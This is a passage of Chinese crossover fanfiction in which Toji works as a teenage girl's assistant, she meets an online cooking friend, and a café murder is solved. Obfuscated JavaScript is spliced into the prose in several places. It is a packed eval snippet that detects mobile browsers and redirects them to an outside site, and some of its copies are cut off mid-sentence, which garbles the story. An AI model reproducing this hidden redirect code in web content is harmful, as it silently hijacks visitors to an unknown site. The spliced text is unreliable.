伏黑甚尔想,他赌小莳在未来的一个月内都不会想起它们,然后一个月以后“冰箱里这是啥,保质期都过了一个月了,扔了吧。”哦对,她根本不会打开冰箱冷冻层。都是他在用。 在另一个世界,伏黑甚尔被称为术师杀手,也被行业内很多人忌惮,但他自己并不会自我评价为个性乖张反叛,他更愿意描述为:按照心意做事。接下某些任务是因为对象看照片就很讨厌的样子,这刀一下不是很正常吗?不知道为什么就被起了恶名,术师们真的很喜欢党同伐异然后内部再搞小团体;其次天内理子那个,第一,钱真的很多;第二,五条悟那小鬼,以前曾见过的,顺便挑战一下,可惜失败了。所以一切的一切,都有迹可循。他被形容为反社会一定是因为术师们畏惧他的实力,便胡思乱想,脱离实际;又不屑他天与咒缚的猴子身份,所以没有主动了解就轻下判断。不过这些都无所谓了,们垃圾场是这样的。 总之,伏黑甚尔在儿童时期,在禅院家过过苦日子,对于食物,饱腹充饥之物,很难说尊敬,但挨过饿,深知人要吃饭才能活的道理。他不会特意去浪费。 除非心情很差。 现在他心情尚可,只是有点无语。 他拿出两个今晚将要过期的饭团,握在手里。其余的5个,取了一个袋子装起来。 来自餐桌的目光过于灼热,伏黑甚尔转头。 “你不打算采纳我的建议吗?”小莳的手指指向另外的饭团,“不要扔嘛。实在不行就放在0℃保鲜层里面,虽然保质期过了,实际大概还能坚持两天。” 伏黑甚尔:“那你吃吗?” 小莳:阿这,犹豫。 半晌,她点点头,伸手,比了个1,然后摊开手掌。 伏黑甚尔:“还吃得下吗?” 小莳……摇摇头。 “但是甚尔君也不想浪费吧,我愿意今天负担一个饭团,明天把临期的两个带到学校,首先引诱我买下这么多饭团的园子须得吃掉一个,小兰嘛,见者有份,安排一个。然后我再吃一个今天过期的w,剩下3个后天吃,不急。” “不想吃不用勉强。”伏黑甚尔把这些饭团装起来,“过期的也不用吃,这次扔掉,下次别买这么多了。” “一想到有一条无辜的金枪鱼被伤害,我却要浪费它的尸体残渣,就有负罪感。水稻也在流泪,它说呜呜呜。” ……不,以馅料量来看,鱼只是受了点皮外伤。一条金枪鱼切掉值钱的部分,剩下的边角料本就不值钱,做成饭团馅料,也能做好几千个。 “听园子说,小兰认为这个饭团味道很不错。美味的食物没有被浪费的道理w,不然太委屈它了。” 伏黑甚尔不理会小莳的奇怪理论:“只是速食,说委屈就是你在臆想了。” 被说成臆想,当然要据理力争:“甚尔君,你做饭味道不错,居然是那种心里没有料理理念的厨子吗!” 他搞不懂这话里的因果关系,充饥的东西谈不上理念,只不过他做多了。 “料理的起源被一般认定是人类学会生火烧饭,后来又加入了各式各样的调味,烹饪的方式也层出不穷。但无论如何有一点,那就是,做出美好的菜肴给食客品尝!速食存在的意义也不例外。某样食品,难吃也就罢了,毕竟没人愿意折磨自己;但倘若它味道本身无错,却要白白被浪费,不是太不珍惜了吗?就好比…甚尔君你是知道我的老本行的,有一个人,他恶贯满盈罪行累累,有朝一日我看到他,不管有没有单子在手顺手就做了,这叫做天行有常,恶业报偿;但如果是一个普通的、对生活充满期待的人,某个没有感情的杀手路过,一枪把他打死了,这不是太糟糕了!” 伏黑甚尔多谢她的解答,以及认为这比喻也同样糟糕。 “真遗憾,我就是那种会一枪打死无罪之人的□□。”他这么说着,却将“并未沾染罪孽”的饭团塞了一个到小莳手里。剩下的几个装进了冰箱冷鲜层,“你自己记得吃,我可不会提醒你。温馨提示:肠胃不舒服记得去米花医院就诊。你自己去。” 虽然这么说,安置好饭团们后,伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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浅浅安排了一下明天的工作,社团训练计划,又和田所惠幸平创真两人都小聊一会。小莳躺在沙发上本来不想和伏黑甚尔主动说话,但是…… “甚尔君,你在吗甚尔君?” 天花板突然被一片阴影挡住,是伏黑甚尔高大的身形:“什么事?” “你擅长挑选礼物么?” “不擅长,给谁的?” 小莳很不满,仰躺着戳他:“你都不擅长,你还好意思问!那你觉得第一次见面应该给惠送点什么好?一年网友,专业厨师,年龄19,20的样子。” “不送。”伏黑甚尔一听是要给见面网友送礼物,没有了参与打探的兴趣。 “那那那,你联系一下之前逛街的几个SA,听听专业人士的意见。”之前几次逛街,有导购想加联系方式,小莳都让伏黑甚尔出来做工具人,“你不会删了吧?” “……没” “香水,护肤套装,彩妆,选一套吧。鞋服配饰就算了。”小莳的眼睛亮晶晶,说的话一点不讨喜,“拜托你了!” “甚尔你有什么想买的东西吗,水乳,剃须泡沫,香水?买一个嘛,算我送你的。” 敷衍的好意被拒绝:“没有。你怎么不和田所惠说让她自己选,算你送的?” 小莳委屈巴巴:“我又不知道你缺什么。”话一出口就想撤回,大意了。 “哦,那你一定知道——” “明天我回家给你带礼物!求求你别说了!” “送什么?” 这我哪知道呢,但小莳急中生智,“香水?送甚尔君一瓶香水以后出去可以喷一下改善心情。” 伏黑甚尔嗤一声,“这种东西我没兴趣。” 那你是个没品位的东西,小莳嘴上耐心安抚,“兴趣是可以培养的,香水又不是什么倾家荡产的东西。本专家来带你入门,以后你想买多少都给你买。” 画饼,精通幻术的小莳在此刻无师自通了这项技巧。 伏黑甚尔并不是一个容易被说动的人,但是发起邀约的人是小莳,正是他现阶段感兴趣的对象,心中微微意动,但说出来的是:“也没见你经常喷香水。” “喷被窝了,这么好的东西当然要自己享用。我有半柜子漂亮小瓶呢,全是香水。你收拾的时候没注意吗?不会以为这是少女的体香吧?这种东西不存在的,你要相信科学。”听他拒绝强度立减,小莳便知计划通,她在他面前打包票:“放心,明天一定带一瓶你的回家,当然,在和导购交流的时候如果有什么想买的也请不要客气的直接买了,就当是我的心意w” 安抚好助理的情绪,小莳担心自己一不小心说出什么话刺激他脆弱的心灵,假装疲惫润回房了。 伏黑甚尔帮小莳准备好浴室,看见在床上躺得四仰八叉头发也凌乱的少女,告诉她沐浴结束发消息喊自己收拾,退出房间。 这期间刚刚发信息的女孩也断断续续发了几条消息,不过伏黑甚尔没注意。 他这列的消息还停留在蛋糕味道不错,对方表达了感谢,又谦虚了一下,过了一段时间询问自己对甜品是否略有兴趣,没有得到回应最后还是倔强的发起邀请,时间是明天下午,地址是离学校不远的某家甜品店。 伏黑甚尔想,这也算是个普通的、对生活充满期待的人,自己又对她没什么印象,肯定不是喜欢的类型,既然如此就不必再回复。 随手点出去,依照小莳的要求给几个专柜导购挨个复制了“有什么适合送第一次见面的20岁左右、女性职业厨师的礼物吗?” 要不怎么说机会总留给有准备的人,四位SA,十分钟内只有一位回了信息,态度非常热情。 先是一下子就熟稔称呼伏黑甚尔为助理先生,询问是否是赤司小姐要挑选礼物赠与朋友。 得到肯定的答复后,推荐了今年隆重推出的秋分套盒,伏黑甚尔每一个字都认得,连在一起就觉得抽象。在看到年轻女性、青睐、适合送礼、植物提取几个词汇后,他敲定了这个套盒。约了明天下午到店刷卡取货的时间,在导购期待继续推荐产品时拒绝。 虽然貌似没做什么但今天好疲惫,明天上午先去竞马场奖励一下,细水长流,小花20w。 12. 第 12 章 第二天 伏黑甚尔按时准备喊小莳起床,走到她房门口时已经听见电动牙刷的声音,惊讶之余,也没再敲门入内。转身去厨房做早餐了。 和网聊1年多的朋友第一次见面,自然要隆重一些。小莳不仅昨天特意洗了个头,还敷了面膜作为对田所惠初次见面的最高敬意,今早自己设定了闹钟,提前半小时起床打扮。 有句话这么说,女孩子成长到一定年龄会自动解锁化妆技能。这纯粹是胡扯,没有社会施加的影响和刻板印象作用,哪来的那么多理所当然的声音,甚至将妆容和礼仪挂钩,简直是危言耸听。 不过在一个平行世界中,年方十四的小莳确实会化妆。在社会治理能力江河日下的末日体系里,有点东西苦中作乐自是不错,那边的小莳,在福利院长大,没有姓氏。但是她曾经被一户江口家领养,结果第三天对方就发现多年不孕的妻子居然怀孕了。遂七天无理由退货,回到福利院以后还仍叫江口小莳,以后也没变过。 平行世界的彼可怜兮兮江口小莳,自然不是这个4岁就被泽田纲吉家收养、16岁又回到赤司家的算是在蜜罐子里成长小莳。 只是由于一场白兰引起的祸乱,又被来自十年前的泽田纲吉解决,世界基石73最终又决定,对于并未亲身到场参与本次拯救世界战役的,如果十年后的自己参战,那么相关记忆将被十年前的本体接收,小莳也在这项决定内。 不知道是怎么运作的,在小莳身上出现了偏差。不仅仅是关于战役的记忆和战斗的本能被传输,刚刚从保姆手中失踪、只有儿童未发育大脑的小莳接受了那个平行世界的江口小莳的全部记忆。 小小的大脑,过量的信息,小莳吃了一些苦,但更苦的另有其人,十年后穿越回来的泽田纲吉休整了半天就来到福利院准备收养这位上次相见还是同龄人的未来战友时,等待他的是一片战火与硝烟的废墟。 幸而这最终被发现只是幻术拟造的虚拟场景,福利院上下129人只是受了亿点点精神打击,罪魁祸首则是“按理说10岁才能点燃火焰习得幻术”的4岁小莳。 老师里包恩这样解释:“大概是因为过量的记忆充盈大脑,小莳没有办法处理陷入狂乱状态,战斗本能促使她建造了幻境,幻术的内容则是她记忆里最深刻的内容。” 复仇者监狱差点来捉人。 但是事件的根源得追溯到“为什么她被错误传输了记忆”,真要审判大家都不好看,追责持续了紧张刺激的几周就被草草结尾。 小莳有了家,有了不把她视作planB的真正家人,有了做饭很好吃的奈奈妈妈和不太能见到也就当不存在的家光爸爸,和诸事不顺但关键时候总靠谱的兄长,和不好形容的师父里包恩。 她有了真正属于自己的姓氏。泽田小莳。 可惜现在都没了。 总之……她就是这么学会的化妆。通过空间传导和量子力学。 这具身体还是第一次正儿八经使用化妆品,但是一切都在掌握之中,她的技术着实不错。 云经验丰富的小莳把口红留到饭后,事先只涂一层润唇膏走出房门,准备吃饭。 “今天咱吃啥。”好像闻到了香香的芝士味。莫非是… “我吃蟹宝,你吃——”伏黑甚尔从冰箱端出保质期到今天的,本属于园子和小兰的饭团。 他视线从手上的盘子掠到小莳差一步完妆的脸,眼底闪过一抹惊艳。小莳光顾着理解他37℃嘴巴里吐出的冷冰冰词句,完全没和他有眼神交流。 “你好狠毒!我不接受!” 伏黑甚尔挪开视线,过了一会才说:“今天怎么化妆了。” “在我夺回属于我的一切之前,你休想转移话题,我要吃蟹。我要吃热热的、香香的、一口吃不完的,蟹!” 模样倒是像大人了,开口7岁。 将两人的盘子对调,某人得偿所愿,也开始虚假懂事起来:“一共有几份,或许我们可以分一下。” 伏黑甚尔起了逗一逗她的心思,笑:“一份。” 分不了一点。 小莳没有和别人分享同一份食物的习惯,当即就想开吃,但是仔细一想万一这个脆弱的家伙生气了,最后灭火还得靠自己。 就当破财消灾,磨刀不误砍柴工了。 小莳:我可是心理年龄27岁的成熟大人。 盘子里,红白的蟹肉碎上面堆着黄黄的芝士和浓郁的沙拉酱,混杂着烤箱里加工出的美拉德色,她分了一半给伏黑甚尔。 其实本来也没想吃,但看小莳行动,他也没阻拦。“我以为你会舍不得。” “这都被发现了,可惜蟹有很多,助理只有一个。当然是选择怜爱唯~一~的~甚尔君啦。” “……” “不是吧,你怎么还脸红了。” “没有的事,你看错了。” “好的,我更正一下,甚尔君的脸没红,是耳朵红红。作为有着失败婚姻和一个3岁儿子的男人,你还真是该死的纯情。” 心理成熟大人一番思考,发现事情并不简单:“喔,上次在高原,你背我的时候-甚尔君,你的耳朵不会是很敏感的那种?!” 不渴了,不饿了,早饭也不香了,这可是大新闻。 助理作案的概率在米花町并不高,因为小莳不是社长、会长、科长,但被伏黑甚尔干掉的概率也绝不为0。 有人恼羞成怒了,另一个体贴的人紧赶慢赶草草结束早餐,漱口后加了个口红就出门。 “记得买礼物哦,耳朵烫烫先生~” 小莳调戏完伏黑甚尔去学校以后,就把这个帅气男人和有关他的一切抛之脑后了。 伏黑甚尔……伏黑甚尔去了东京竞马场,不忘初心,顺便压压惊。 带着新考的驾驶证,猎猎风声在耳边响起,直到后面警笛响起,伏黑甚尔才意识到是超速被交警追了。 “苗子,这些群众一个个的开车也太不仔细了!说什么‘没注意时速’拜托,就算已经过了早高峰,这里也是市区不是高速!” “由美你声音小点,万一被他听见怎么办。嘘” “本来输了一晚上就-没什么没什么” “由美?!你昨晚又通宵打麻将,你自己都疲劳驾驶你还说别人!” “嘘嘘嘘,苗子声音小一点,不能被听见!” 听见了,两只耳朵都听见了。 黑眼圈下垂眼,一副赌鬼像,伏黑甚尔这样评价被称为由美的警官。 路上遭遇了不顺,竞马场就会遇到幸运的事情,他是这么坚信的。 上一次经一个熟手好心人指点,下载了APP,可以关联银行卡充值,直接手机下注,说是比去窗口兑换现金券更方便。伏黑甚尔与时俱进地使用手机。 真男人就要买独赢WIN。 这是一场豪赌。 20w进去,20w没了,额外吃了一份咖喱套餐,多花了1000。 哦对,还有来的路上超速的12000。 输得一塌糊涂。 小莳今天格外顺利,摸了一早上看了三集电视,神清气爽,中午羊排便当和玫瑰花果酱吃了,饮品是助理自研水果茶,味道很是不错。 下午上个体育课和家政课,进入正题。 首先是见到了惠宝口中“我最尊敬的人”幸平创真。 直到出于对靠谱惠的信赖吃下那一口腌苦瓜肉酱鹅肝之前,都挺顺利的。 幸平君看起来很真诚的样子,又是他这几天灵感迸发的新作品,说不定虽然名字很怪,搭配很奇异,但是味道会令人诧异的好吃呢? 小莳含泪艰难咽下这一口。记忆中在并盛讨日子的江口小莳也没过过这种苦日子。 偏生发型与泽田纲吉相仿的幸平君殷切盼问:“味道如何。” “老师,以后这种活动我就不参加了。谢谢老师。”天杀的,后面忘了,这人真的是擅长做小吃的大师吗? 急不可耐的差点上远月副会长戴着一次性手套直接取,品尝。 卒。 隔壁有人听见动静出来想看热闹。 场面一度十分混乱。 小莳又是支使着同学给副会长换个体面的晕倒姿势,又是指挥其他人去关门谢绝拜访。 田所惠因为一是比较亲和,二是走进学校的姿态比较自信,即使没有穿着校服,居然也没有人拦住她。她看看手机里创真君发来的消息:抱歉,好像对惠的朋友们造成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413080|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一些伤害,总之料理室地点在xxxx,惠进了学校的话直接过来吧。 好像知道小莳同学遭遇了什么了。 呜哇,太失礼了创真君。 她来到料理室的时候,透过玻璃一眼就看见料理室最边上的身影。好奇怪,明明是不引人注目的位置,那边支颐闭目斜坐着的少女一眼就吸引了全部的注意。阳光下,她的五官和发丝都在闪闪发光。田所惠想起前些日子自己前往丹麦,在哥本哈根看到的小美人鱼像和其后广阔宁静的海面,一下又想到了童话中的词句【她最后凝望一眼王子,即便视线模糊。然后就从船上跳进海里,身躯被潮水裹挟,化为浮沫。】 小莳:确实要碎了。破碎感get。 和网友见面的第一天,并不顺利。 但是被美女惠抱在怀里,很不错。 算她小赢。 被体贴的毛利兰嘘寒问暖,领先工藤新一十几年。 大赢特赢。 园子为了振奋激励因地狱料理而萎靡不振的小莳连着讲了七八个小道消息。小莳:能量+1+1+1 两个不参与下厨的后勤人员就这样度过了涨涨落落涨涨涨的一下午。 毛利兰被两位大厨盖章认证是全场最有天赋的选手。 好不了一点的副社长:那是因为你们还没见过我! 社长、众社员:我的一个朋友有点不太舒服,当然不是我本人哈。 真编外人员毛利兰表示:没有没有,都是跟着电视和美食博主学习的。咦,怎么感觉这个说法好熟悉? 最后,幸平创真乐观发言,同学们的执行力到位,都是很好很好的学徒,区区几个套餐根本不在话下,请大家不要有心理负担的每天练习云云,然后给大家做了晚饭,正好作为炒饭的示范。 毫无疑问,这是小莳这辈子尝过的最美味的佳肴,即使它的原材料只有料理室的鸡蛋、田所惠顺手从远月拿的胡萝卜、料理室冰箱的隔夜米饭,调料也不过玉米油,盐,葱花和酱油。 但是有位社员的衣服甚至不知道被哪来的风吹裂了这就有点过分了哎喂。从小,小莳虽然成长在一个兄长基本每周都会被老师打一枪,然后衣服炸裂只剩花内裤的鸡飞狗跳环境。但一是这样的日子持续了一小段时间,小莳和他还有大部分守护者就一起被送到意大利,在那里泽田纲吉作为十代目,里包恩多少给他留了一点尊严,没再用过死气弹,再后来阿纲也学会了自由控制火炎,总之见识到的次数不算太多,印象没有特别深刻。二是……这里不是另一个没有怪力乱神的世界吗?牛顿怎么说?怎么好像除了我其他人都很习以为常的样子,没听说过这种事啊! 就好像,冥冥之中有一双被规则牵引的手,遮蔽了此方世界人类的双眼。 神明吗?还是妖魔鬼怪? 物理学说话了,它说:这咱可管不到,勿碰瓷。 这很难评,但是也不是我一个手无缚鸡之力的小女子管得到的,所以不管了。 小莳听从社长指示,从料理室指定的储物柜拿出备用校服——社长已经吃得气喘吁吁抬不起头,递给好吃到爆衣的社员。 活动结束时,小莳得到了来自田所惠的见面礼,还有幸平创真后知后觉的歉意。 田所惠脸红,双手奉上:“因为没什么其他的擅长,姑且算拿得出手的也只有一点厨艺了,正好听小莳有说起家里有一位助理,因此整理了一份不成气候的笔记,如果有能供参考之处再好不过。以及今天匆匆忙忙制作了一份蔬菜咖喱,味道粗鄙,还请不要嫌弃。” 幸平创真后知后觉:“这么说来,我也给小莳带一份料理回家吧!就当做今天试菜失败的赔礼。” 副社长:“还有我。” “好的!还有副社长同学。”幸平创真发出爽朗的笑声。 很快,一份蛋炒饭出锅,“这是副社长的。” 又很快,一份不加葱花换成胡萝卜的蛋炒饭出锅,“嗨嗨嗨,这是小莳同学的,接下来也请多多指教咯。” 小莳竖起大拇指:创真君,粗中有细,对待料理和食客超级认真! 告别时,幸平创真还热情分享了从父亲那边学来的料理秘诀。 虽然内容有点抽象就是了。 13. 第 13 章 今天是很漫长的一天,故事到这里还没有结束。 以及,这个世界确有神明,这是客观存在的事实。 要细论起来,这尊贵的一位也得是算是个冷酷无情的,毕竟是能忍受不动用特权而让父亲天天舔领导鞋赚钱养家的大孝子。 也难怪他能忍受不同区域之间的……特色发展,比如有个地方身处首都中心,但是凶案率超高什么的。问就是垂拱而治。 今天神明微服私访,波洛咖啡厅。 榎本梓,毕业于远月茶寮料理学园,简称远月学园。是个普通的毕业生,因为手艺中规中矩的好,有着大差不差的幸运,没有在任何一次升学考试中被判定为不合格,所以在10%的高压线下顺利毕业了。 但对料理算不上热诚,不然也不会一毕业就来咖啡厅就业。 但是神说,仅凭一手精湛的咖啡冻才艺,她就能做十杰第一席。 通过谷歌等搜索引擎,发现远月十杰第一席若非本人过分离经叛道,多半会就职于高级餐厅-因为远月的名牌效应,没毕业就会接受数不清的offer。 因此他打消了篡改远月过往席位排名的想法。 最终,神选择折中一下,每隔一段时间会跨越半个东京-于他也就一瞬间,来到米花町不起眼的波洛咖啡厅,购买清晨9点现磨咖啡,11点准时上架的咖啡冻。 PK学园今日4:20放课,齐木楠雄走出校园用时5分钟,进入无人无监控的小巷用时3分钟。4:28准时来到米花町的某无人无监控小巷,4:30准时进入波洛咖啡厅。 不开口说话,他一般是意念直接在别人大脑发出声音;头上还有两个触角一样的天线,为了抑制超能力让其在可控范围内而制作出的高科技产品。 今日,米花商业街的人很多,心声也杂乱无章。 这个女孩在等一面之缘对自己有救命之恩的一见钟情对象,虽然对方昨晚只回复了一条消息就失踪。 感觉那位伏黑甚尔只是顺手,而且根据心声给的信息,这种程度的支援也不算救命之恩,恋爱脑别吵。 那个男人在等昔日旧友重聚。他想做的事情有点多,先和高中时期的社团好友一起把酒言欢,再和大家借钱,再和昔日暗恋的女神进行社交。 咖啡店没有酒,借钱又恋爱,建议滚。 200米内,刚刚走进齐木楠雄的心理探测范围有一男一女2人,他们的心声引起了齐木楠雄的注意。 女人是昔日暗恋的女神,她根本不想来这里,社团什么的当初只是混学分随便填的,但是万万没想到能在小破社团遇见白马王子,也就是她旁边这位同行者。这次聚会也是白马王子在群里回了消息,她才决定赴约。好巧,今天居然还在地铁上碰见了白马王子,这一定是命运的安排。他们是天造地设的一对。 齐木楠雄:她王子想着刀了暗恋她的人呢,结果她还是他计划的一环,笑死。 白马王子其实是复仇王子,他复仇的目标正是想借钱又社交的那位。复仇动机是-恋爱脑。高中时期喜欢的女孩死亡。 具体事项,再看就对自己的理智不礼貌了。伦理问题总是让人脑袋晕晕,神明、超能力者也不例外。 这一系列事项,本该无视。 但是其中有利益冲突,神不允许有人打搅自己御定的下午茶时间。 从进店起,享用完咖啡冻需要半小时。 也就是5:00. 如果这一切复仇如期发生,那么在咖啡冻最苦涩也是最值得回味的那部分刚入口时,惨叫就会发生。 一是影响良好的进食环境,二是耽误时间——监控下,即使能发动超能力让他人忘记自己好脱离,也会因为VCR露出破绽,只能待到警方来问话,三是容易出纰漏。PK学园离咖啡厅属实不近,神的校服和刚放学的时间点和这地点三者结合,必有冲突,如果有敏锐的警察说不定会问“可是你们学校不是在30分钟车程外吗?”“翘课?”然后联系学校,然后…… 怎么办,又不能炸了地球。 所以抱歉,复仇者先生,今天我不允许波洛咖啡厅里发生任何事故。你的复仇计划下一次再进行也无妨,正好,也遂了女神小姐的愿,他们还能多聚一次。 在下定决心兵来将挡水来土掩之时,有一阵诡异的感觉入侵了他的大脑,从未经历过这些,难免觉得诡异。 更准确的说,像是一段心意雷达,就像他直接在他人的大脑里使用传心术,让他人感应到他的心声一样。他也第一次自己体验这种感觉,像是有人对他使用了传心术。 “就好像,冥冥之中有一双被规则牵引的手,遮蔽了此方世界人类的双眼。 神明吗?还是妖魔鬼怪?” 啊,有人意识到这个世界的bug了。 不要紧,找到她,然后打个补丁就好。Mindcontrol一下。 “这很难评,但是也不是我一个手无缚鸡之力的小女子管得到的,所以不管了。” 齐木楠雄,因为自己有着粉色的头发,所以改变了全地球人的认知,让大家以为头发五彩缤纷是很正常的事情,现在,他如果想要改变这个不远处学校里的女孩,也轻而易举。 结果…… 这位远方的白发少女,觉得难评的并不止她一人,即使是神明也有点无语了。 危机自我解除。 齐木楠雄决定专注于眼下的咖啡冻,其次是即将上演的三人三群剧目。 小莳走进命运般的场合时,首先注意到的就是吃咖啡冻吃得满头大汗的一个粉毛绿校服。 非是她有心,而是…荧光绿墨镜、宝宝天线。 其次,这样显眼配饰的少年居然坐在咖啡厅c位而无人在意。 好怪,再看一眼。 PK学园,那么远的地方? 事出反常必有妖,可能是中二病吧,以为自己是什么漆黑之翼,要用天线来封印邪恶力量,彩色眼镜遮盖邪王真眼什么的。 然后唯爱咖啡冻什么的,而且榎本女士真的很擅长咖啡有关的一切。 小莳是突发奇想来定杯咖啡的。 这里正巧在去商场的路上,甚尔正巧还挺喜欢美式,定一杯,回来的时候拿吧! 没有将注意力分给咖啡冻单推人太久,小莳很快去点单。 还看见了甜品社长。喔,对方也一副想假装没看见的样子,正好,普通路过。 目不斜视到收营台和榎本女士打了招呼,对方仍然记得她。寒暄两句,点单。 齐木楠雄在赤司小莳进入咖啡厅时才注意到她,并非是读心术200米范围失效,而是这边是在手忙脚乱,光是三个人复杂的心理活动加一个羞涩羞耻羞愤羞愧的少女——幸好榎本小姐的思绪就如同咖啡冻一样,令人平静,她什么也没想。 以致于超能力但是仍有思维处理能力方面局限的齐木楠雄捉襟见肘,难以撑持过远的读心术。 好在小莳进来的时候他已经阻止了两次复仇先生的不轨行动,以致于他开始怀疑今天是不是不宜动手,连老天都在阻拦他。 齐木楠雄才能分心看一看这位恰巧刚刚出现在他念想里的赤司小姐脑袋里在想什么。 天外来客、Mafia、香水、咖啡、甜品社长、伏黑甚尔…… 好难受,是不是要长脑袋了。 本来右手边的三个人的故事就让人应接不暇,这边你方唱罢我登场,她对他一见钟情,他喜欢你,你的心里只有胜利,把甜品社长的脑袋踩在脚下… 本来觉得恋爱脑很烦的,没想到你们异乡人还不如去谈恋爱。 齐木楠雄有点不爽,哎呀哎呀,居然说他中二,看他一秒钟把你送回去。 “榎本女士真的很擅长咖啡有关的一切。”有品,原谅了。 小莳在毫无知觉间,错过了归乡。 但她毕竟自己不知道这事,不知道就是没亏。 下一秒,风铃响起。 又是命运般的会面。 赤司小莳、江户川柯南、灰原哀、少年侦探团。 齐木楠雄:这下真的灾难了。 齐木楠雄感觉自己像是看到了走马灯,内容是小时候看过的动画。猫和老鼠里面汤姆一只猫演奏六个乐器然后一猫完成演唱会。 感觉做个神经病人能随时发疯也挺好的。 Aptx4869、不想让青梅竹马的暗恋对象陷入危险、Shirly、琴、江户川人挺好就是太爱出风头、得想个办法让他青梅竹马不再怀疑他是工藤新一…… 这次是集恋爱、推理、犯罪刑侦、变身等多元素为一体的船新故事。 本来觉得恋爱脑和异乡人很烦的,你们米花本地人居然有过之而无不及。 齐木楠雄生平第一次觉得,为了区区咖啡冻不值得。 他迟疑了,动摇了,后悔了。 然后他听见虽然有邪恶想法,但是最终都好好克制住(虽然但是复杂纷乱的思考过程还是给他带来苦恼)的小莳,脑子里警铃大作:“啊好烦,马上又要有凶案了。不知道提前报警让警察来监督半个小时会不会被采纳,多半不会吧反而还会被揪出来批评一顿。蒜了,我速润。” “灰原哀?不知道柯南是怎么和她说的,但她现在好像没那么怕我,现在不是想这些的时候,以后再说吧,赶紧付完钱赶紧溜了——” 过分专注于一点,就会顾此失彼。 齐木楠雄发现赤司小莳的思考速度居然在从小培养信息处理能力的他之上。她的思维并不是像其他人一样平铺直叙的流水账,而是跳跃的,须得分析其中的逻辑关系和仔细分辨意义。这有点有趣,他并不讨厌这样的挑战性。 但是他错过了复仇王子想要放手一搏孤注一掷的重要信息。 等他回过头去捕捉到“最后一次!再失败就算了!!!”的时候,咖啡店的灯已经全熄了,外面虽然是傍晚夕阳灿烂,天色微黄,里面-尤其是那一桌,已经伸手不见五指。 他凭借超能力还能看见,复仇王子将尖刀刺向借钱男的脖颈。 “来不及了…我家真有人等我吃饭呢,江户川柯南你个灾星!我这辈子都不会原谅你!” “这骚乱,怎么回事!我不允许有案件在我眼皮子底下发生!” “啊啊啊害怕害怕。” “想吃蛋糕、水果,但是家里还有鳗鱼饭。” “诶诶诶诶” “…我不过是组织逃离在外的幽魂…要和赤司小姐说话吗?” “为什么不回我消息,吓,不会是猝死了吧!昏迷了?失去意识了?车祸?” 庞大纷杂的信息在齐木楠雄脑中交汇,洪流一样。 毁灭吧。 齐木楠雄用最后的理性思考,得出结论:在这么一群难以描述的人中间,自己绝不是引人注目的一个,而且有名侦探(身体变小了但是脑袋依旧好用版)在场,案件很快就会被破解,自己基本不存在风险。 若有来生,希望你下辈子别再搞校园80了,借钱男。 大喊,寂静,骚乱,灯亮,停顿,尖叫。 “这个人也面无表情的呢,说不定是个阴暗男!”小莳撇粉毛一眼,很快将视线移到热乎的尸体上,假装关心案件,实际上心里的反应被明镜一样的超能力一五一十窥探。 Mafia小姐你…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小莳也没放过他的不自然表现,敏锐的先他一步拿到手套,发现这并非一副而是一只,里面还有东西。 嫌疑人不见棺材不掉泪,只辩解自己有意图,但是没落实,实际上凶手不是他。 骗人,就是你。 小莳心里白眼早就翻上了天。又是个有胆子做没胆子承认的,还要拉其他认识的人一起下水。 这女的认识你俩倒八辈子霉。 齐木楠雄:不能更同意。 小莳觉得,这个世界也许在某些程度上太惯着这些凶手了,叫他们觉得,好像不当场道破手法和证据,就没办法让他们乖乖归案一样。 真是幼稚天真,荒谬可笑。 她直接没收了这份物证。 齐木楠雄…齐木楠雄启动了未来视,代价是轻微的头疼,得到的回报是1.自己将会安然无恙的回家,不会被任何人注意到的信息;2.像是在看悬疑电视剧一样的的视觉体验。 头疼是值得的。 赤司小姐的思维要比他此前见过的任何人的都要敏锐,也包括他自己在内。齐木楠雄不介意承认这点,所以观看未来视的时候,一切也并非仅仅平铺直叙,也有需要思考探索的地方,这正是乐趣所在。 而且有一句心声他也相当赞成:“本来我和警察也不算一路人,现在虽然身份变成没有特意能力的女高,不代表我就要转换立场,并且越俎代庖。” 她在警察到达现场后,简单的阐述了发生的事情,并且上交了包裹着不明来路药品的硅胶手套,言明店里的监控为证,刚刚嫌疑人(基本可以认定为凶手)的狡辩内容。 并说明以下三点:1.这个刀是近期新购买的,刀柄没有任何使用过的痕迹,而现在网络上购买可以通过账号锁定购买记录,线下则可以锁定嫌疑人家里的其他道具有无配套,还可以定位住址周边的实体购物店进行询问。基本在凶器这一关嫌疑人就gg了。2.严查这药品的来历,可以延长拘留时间,多多找线索,当然这对警方来说是常识,她只是生怕嫌疑人不知道特意再说一下。3.(其实根本就没有第三点,只是为了帅气这么说的)忘了想说什么了,但是犯人看起来现在就很想招供的样子,要不我们听听他怎么说? 齐木楠雄想,他不仅想招供,心里还在忐忑现在说算不算自首能不能减刑。 小莳离开的时候没有带着美式,因为榎本女士忙于闭店了——警方要求的。 但是她做了件好事。 榎本小姐很感激她迅速破案,又寒暄了几句,顺便表示了一下“没想到赤司同学也是很厉害的侦探。” 而小莳想着这粉毛都目睹案件现场了,还在这吃吃吃,多半是爱惨了咖啡冻。又想到这还是跨越半个东京的爱。于是顺势提出,既然要闭店,咖啡就算了,不如将成品咖啡冻作为替代。 因此还有5份咖啡冻,榎本全送小莳了--作为感谢。 如果不快点破案,闭店时间将无限延长,绝非是几天调查取证就能重新开业那么简单。作为优秀员工、资深人员,榎本梓深知这一点。 小莳想着“姐这叫日行一善”,面上却露出很苦恼的样子,嘴里说“哎呀吃不完”,无视了元太的“吃不完给我”,塞给齐木楠雄两个。 